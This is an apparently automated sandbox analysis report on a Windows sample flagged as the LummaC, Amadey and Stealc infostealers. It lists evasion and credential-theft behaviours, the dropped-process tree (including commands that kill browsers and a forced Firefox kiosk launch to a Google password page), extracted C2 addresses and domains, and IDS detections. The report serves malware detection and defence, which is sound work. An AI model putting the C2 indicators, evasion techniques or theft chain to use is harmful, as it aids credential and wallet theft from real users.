Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1536268
MD5:	3c27780963b8e66d025eea98b9530c94
SHA1:	44fa6a54c3ac1cd16cabc1655d5d168fd042a122
SHA256:	537f43980854b039f1c3db1f35b837a8452026dc41f633ac25fdd319f018e8dd
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Credential Flusher

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Found API chain indicative of sandbox detection

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Connects to many different domains

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality for read data from the clipboard

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to launch a program with higher privileges

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

OS version to string mapping found (often used in BOTs)

PE file contains an invalid checksum

PE file contains sections with non-standard names

PE file overlay found

Potential key logger detected (key state polling based)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Use Short Name Path in Command Line

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 3300 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 3C27780963B8E66D025EEA98B9530C94)

FAMTYULW1YWOKDICAUX3Y390M.exe (PID: 2260 cmdline: "C:\Users\user~1\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe" MD5: 52DA2906C78BC9840CF933C8BCBF351A)

EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe (PID: 3644 cmdline: "C:\Users\user~1\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe" MD5: 3343741767986EBB3E2E066ED65F51CE)

skotes.exe (PID: 6736 cmdline: "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 3343741767986EBB3E2E066ED65F51CE)

MH7IABE9LKZLA9Q4.exe (PID: 180 cmdline: "C:\Users\user~1\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe" MD5: D943B374DC0CF454E1BC9630DF068C02)

taskkill.exe (PID: 6276 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6436 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6668 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5944 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 4800 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 4852 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6004 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 2268 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5940 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 3800 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 2380 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

skotes.exe (PID: 2332 cmdline: C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 3343741767986EBB3E2E066ED65F51CE)

firefox.exe (PID: 7012 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 5788 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 5944 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2260 -parentBuildID 20230927232528 -prefsHandle 2196 -prefMapHandle 2180 -prefsLen 25302 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {fe0c0586-83a7-43b9-8399-2172f07386c8} 5788 "\\.\pipe\gecko-crash-server-pipe.5788" 10c97870d10 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 7172 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2896 -parentBuildID 20230927232528 -prefsHandle 2984 -prefMapHandle 2980 -prefsLen 26317 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {4b58a39a-4c30-4496-bf91-441cbbeb8dc2} 5788 "\\.\pipe\gecko-crash-server-pipe.5788" 10ca9a99b10 rdd MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 7724 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4972 -parentBuildID 20230927232528 -sandboxingKind 0 -prefsHandle 4960 -prefMapHandle 4940 -prefsLen 33185 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {ffaf519c-90e4-435c-9280-7aa7be7af943} 5788 "\\.\pipe\gecko-crash-server-pipe.5788" 10caf552710 utility MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

skotes.exe (PID: 2584 cmdline: C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 3343741767986EBB3E2E066ED65F51CE)

bf119f2261.exe (PID: 880 cmdline: "C:\Users\user~1\AppData\Local\Temp\1000349001\bf119f2261.exe" MD5: 3C27780963B8E66D025EEA98B9530C94)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Threatname: LummaC

{"C2 url": ["studennotediw.store", "dissapoiznw.store", "eaglepawnoy.store", "licendfilteo.site", "clearancek.site", "bathdoomgaz.store", "spirittunek.store", "mobbipenju.store"], "Build id": "4SD0y4--legendaryy"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000000A.00000003.1758005852.0000000004F10000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000004.00000003.1704295013.0000000004E20000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000004.00000002.1745105372.00000000002C1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001D.00000002.2647852798.0000000000E71000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000003.00000002.1719915306.00000000000D1000.00000040.00000001.01000000.00000006.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000009.00000002.1786616773.0000000000E71000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001D.00000003.2366082101.0000000004BE0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000003.00000003.1675675388.0000000004AA0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000A.00000002.1799865628.0000000000E71000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000009.00000003.1743991091.0000000004DD0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000003.00000002.1722905457.0000000000D5E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 3300	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: file.exe PID: 3300	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 3300	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: FAMTYULW1YWOKDICAUX3Y390M.exe PID: 2260	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: FAMTYULW1YWOKDICAUX3Y390M.exe PID: 2260	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: MH7IABE9LKZLA9Q4.exe PID: 180	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
Click to see the 12 entries

Unpacked PEs

Source	Rule	Description	Author
10.2.skotes.exe.e70000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
29.2.skotes.exe.e70000.1.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
3.2.FAMTYULW1YWOKDICAUX3Y390M.exe.d0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
4.2.EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe.2c0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
9.2.skotes.exe.e70000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user~1\AppData\Local\Temp\1000349001\bf119f2261.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 2584, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\bf119f2261.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user~1\AppData\Local\Temp\1000349001\bf119f2261.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 2584, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\bf119f2261.exe

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Users\user~1\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe", CommandLine: "C:\Users\user~1\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe", CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe, NewProcessName: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe, OriginalFileName: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 3300, ParentProcessName: file.exe, ProcessCommandLine: "C:\Users\user~1\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe", ProcessId: 2260, ProcessName: FAMTYULW1YWOKDICAUX3Y390M.exe

Suricata Signatures

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-17T18:38:19.958812+0200	2054653	1	A Network Trojan was detected	192.168.2.7	62397	172.67.206.204	443	TCP
2024-10-17T18:38:27.795218+0200	2054653	1	A Network Trojan was detected	192.168.2.7	49732	172.67.206.204	443	TCP
2024-10-17T18:38:29.244018+0200	2054653	1	A Network Trojan was detected	192.168.2.7	49738	172.67.206.204	443	TCP
2024-10-17T18:38:40.110196+0200	2054653	1	A Network Trojan was detected	192.168.2.7	49804	172.67.206.204	443	TCP
2024-10-17T18:40:32.710495+0200	2054653	1	A Network Trojan was detected	192.168.2.7	50055	172.67.206.204	443	TCP
2024-10-17T18:40:35.645838+0200	2054653	1	A Network Trojan was detected	192.168.2.7	50056	172.67.206.204	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-17T18:38:19.958812+0200	2049836	1	A Network Trojan was detected	192.168.2.7	62397	172.67.206.204	443	TCP
2024-10-17T18:38:27.795218+0200	2049836	1	A Network Trojan was detected	192.168.2.7	49732	172.67.206.204	443	TCP
2024-10-17T18:40:32.710495+0200	2049836	1	A Network Trojan was detected	192.168.2.7	50055	172.67.206.204	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-17T18:38:29.244018+0200	2049812	1	A Network Trojan was detected	192.168.2.7	49738	172.67.206.204	443	TCP
2024-10-17T18:40:35.645838+0200	2049812	1	A Network Trojan was detected	192.168.2.7	50056	172.67.206.204	443	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-17T18:40:18.391410+0200	2044696	1	A Network Trojan was detected	192.168.2.7	50052	185.215.113.43	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-17T18:38:25.136501+0200	2056477	1	Domain Observed Used for C2 Detected	192.168.2.7	53429	1.1.1.1	53	UDP
2024-10-17T18:40:17.171928+0200	2056477	1	Domain Observed Used for C2 Detected	192.168.2.7	55599	1.1.1.1	53	UDP
2024-10-17T18:40:30.216602+0200	2056477	1	Domain Observed Used for C2 Detected	192.168.2.7	62802	1.1.1.1	53	UDP
2024-10-17T18:40:39.550599+0200	2056477	1	Domain Observed Used for C2 Detected	192.168.2.7	53088	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-17T18:38:23.877553+0200	2056471	1	Domain Observed Used for C2 Detected	192.168.2.7	64355	1.1.1.1	53	UDP
2024-10-17T18:40:16.813313+0200	2056471	1	Domain Observed Used for C2 Detected	192.168.2.7	63335	1.1.1.1	53	UDP
2024-10-17T18:40:30.153867+0200	2056471	1	Domain Observed Used for C2 Detected	192.168.2.7	52555	1.1.1.1	53	UDP
2024-10-17T18:40:38.794116+0200	2056471	1	Domain Observed Used for C2 Detected	192.168.2.7	56995	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-17T18:38:25.112819+0200	2056481	1	Domain Observed Used for C2 Detected	192.168.2.7	53342	1.1.1.1	53	UDP
2024-10-17T18:40:17.146799+0200	2056481	1	Domain Observed Used for C2 Detected	192.168.2.7	51695	1.1.1.1	53	UDP
2024-10-17T18:40:30.191075+0200	2056481	1	Domain Observed Used for C2 Detected	192.168.2.7	57595	1.1.1.1	53	UDP
2024-10-17T18:40:39.526078+0200	2056481	1	Domain Observed Used for C2 Detected	192.168.2.7	63031	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-17T18:38:24.061491+0200	2056483	1	Domain Observed Used for C2 Detected	192.168.2.7	63661	1.1.1.1	53	UDP
2024-10-17T18:38:25.068559+0200	2056483	1	Domain Observed Used for C2 Detected	192.168.2.7	63661	1.1.1.1	53	UDP
2024-10-17T18:40:17.132802+0200	2056483	1	Domain Observed Used for C2 Detected	192.168.2.7	52568	1.1.1.1	53	UDP
2024-10-17T18:40:30.179507+0200	2056483	1	Domain Observed Used for C2 Detected	192.168.2.7	50848	1.1.1.1	53	UDP
2024-10-17T18:40:38.858849+0200	2056483	1	Domain Observed Used for C2 Detected	192.168.2.7	55953	1.1.1.1	53	UDP
2024-10-17T18:40:39.522866+0200	2056483	1	Domain Observed Used for C2 Detected	192.168.2.7	62393	1.1.1.1	53	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-17T18:38:25.160121+0200	2056473	1	Domain Observed Used for C2 Detected	192.168.2.7	59203	1.1.1.1	53	UDP
2024-10-17T18:40:17.201818+0200	2056473	1	Domain Observed Used for C2 Detected	192.168.2.7	56907	1.1.1.1	53	UDP
2024-10-17T18:40:30.240212+0200	2056473	1	Domain Observed Used for C2 Detected	192.168.2.7	60857	1.1.1.1	53	UDP
2024-10-17T18:40:39.576931+0200	2056473	1	Domain Observed Used for C2 Detected	192.168.2.7	50081	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-17T18:38:23.975703+0200	2056485	1	Domain Observed Used for C2 Detected	192.168.2.7	57514	1.1.1.1	53	UDP
2024-10-17T18:40:17.121710+0200	2056485	1	Domain Observed Used for C2 Detected	192.168.2.7	53049	1.1.1.1	53	UDP
2024-10-17T18:40:30.166309+0200	2056485	1	Domain Observed Used for C2 Detected	192.168.2.7	55555	1.1.1.1	53	UDP
2024-10-17T18:40:38.834809+0200	2056485	1	Domain Observed Used for C2 Detected	192.168.2.7	53305	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-17T18:38:25.146739+0200	2056475	1	Domain Observed Used for C2 Detected	192.168.2.7	63497	1.1.1.1	53	UDP
2024-10-17T18:40:17.190251+0200	2056475	1	Domain Observed Used for C2 Detected	192.168.2.7	63598	1.1.1.1	53	UDP
2024-10-17T18:40:30.227801+0200	2056475	1	Domain Observed Used for C2 Detected	192.168.2.7	61659	1.1.1.1	53	UDP
2024-10-17T18:40:39.565020+0200	2056475	1	Domain Observed Used for C2 Detected	192.168.2.7	51983	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-17T18:38:25.124595+0200	2056479	1	Domain Observed Used for C2 Detected	192.168.2.7	53025	1.1.1.1	53	UDP
2024-10-17T18:40:17.158288+0200	2056479	1	Domain Observed Used for C2 Detected	192.168.2.7	56089	1.1.1.1	53	UDP
2024-10-17T18:40:30.204583+0200	2056479	1	Domain Observed Used for C2 Detected	192.168.2.7	59860	1.1.1.1	53	UDP
2024-10-17T18:40:39.538154+0200	2056479	1	Domain Observed Used for C2 Detected	192.168.2.7	49596	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-17T18:38:35.597758+0200	2048094	1	Malware Command and Control Activity Detected	192.168.2.7	49773	172.67.206.204	443	TCP
2024-10-17T18:40:38.389774+0200	2048094	1	Malware Command and Control Activity Detected	192.168.2.7	50058	172.67.206.204	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-17T18:38:56.380870+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.7	49890	185.215.113.37	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-17T18:40:05.527507+0200	2856147	1	A Network Trojan was detected	192.168.2.7	50048	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-17T18:40:17.438048+0200	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.7	50049	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-17T18:40:09.887421+0200	2803305	3	Unknown Traffic	192.168.2.7	50050	185.215.113.103	80	TCP
2024-10-17T18:40:19.339186+0200	2803305	3	Unknown Traffic	192.168.2.7	50053	185.215.113.103	80	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-17T18:38:19.958812+0200	2843864	1	A Network Trojan was detected	192.168.2.7	62396	172.67.206.204	443	TCP

ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-17T18:38:26.802860+0200	2858666	1	Domain Observed Used for C2 Detected	192.168.2.7	49721	92.122.104.90	443	TCP
2024-10-17T18:40:18.798707+0200	2858666	1	Domain Observed Used for C2 Detected	192.168.2.7	50051	95.100.48.249	443	TCP
2024-10-17T18:40:31.815795+0200	2858666	1	Domain Observed Used for C2 Detected	192.168.2.7	50054	95.100.48.249	443	TCP
2024-10-17T18:40:41.560567+0200	2858666	1	Domain Observed Used for C2 Detected	192.168.2.7	62394	23.192.247.89	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://steamcommunity.com/profiles/76561199724331900

URL Reputation: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\1000349001\bf119f2261.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 0000000A.00000003.1758005852.0000000004F10000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
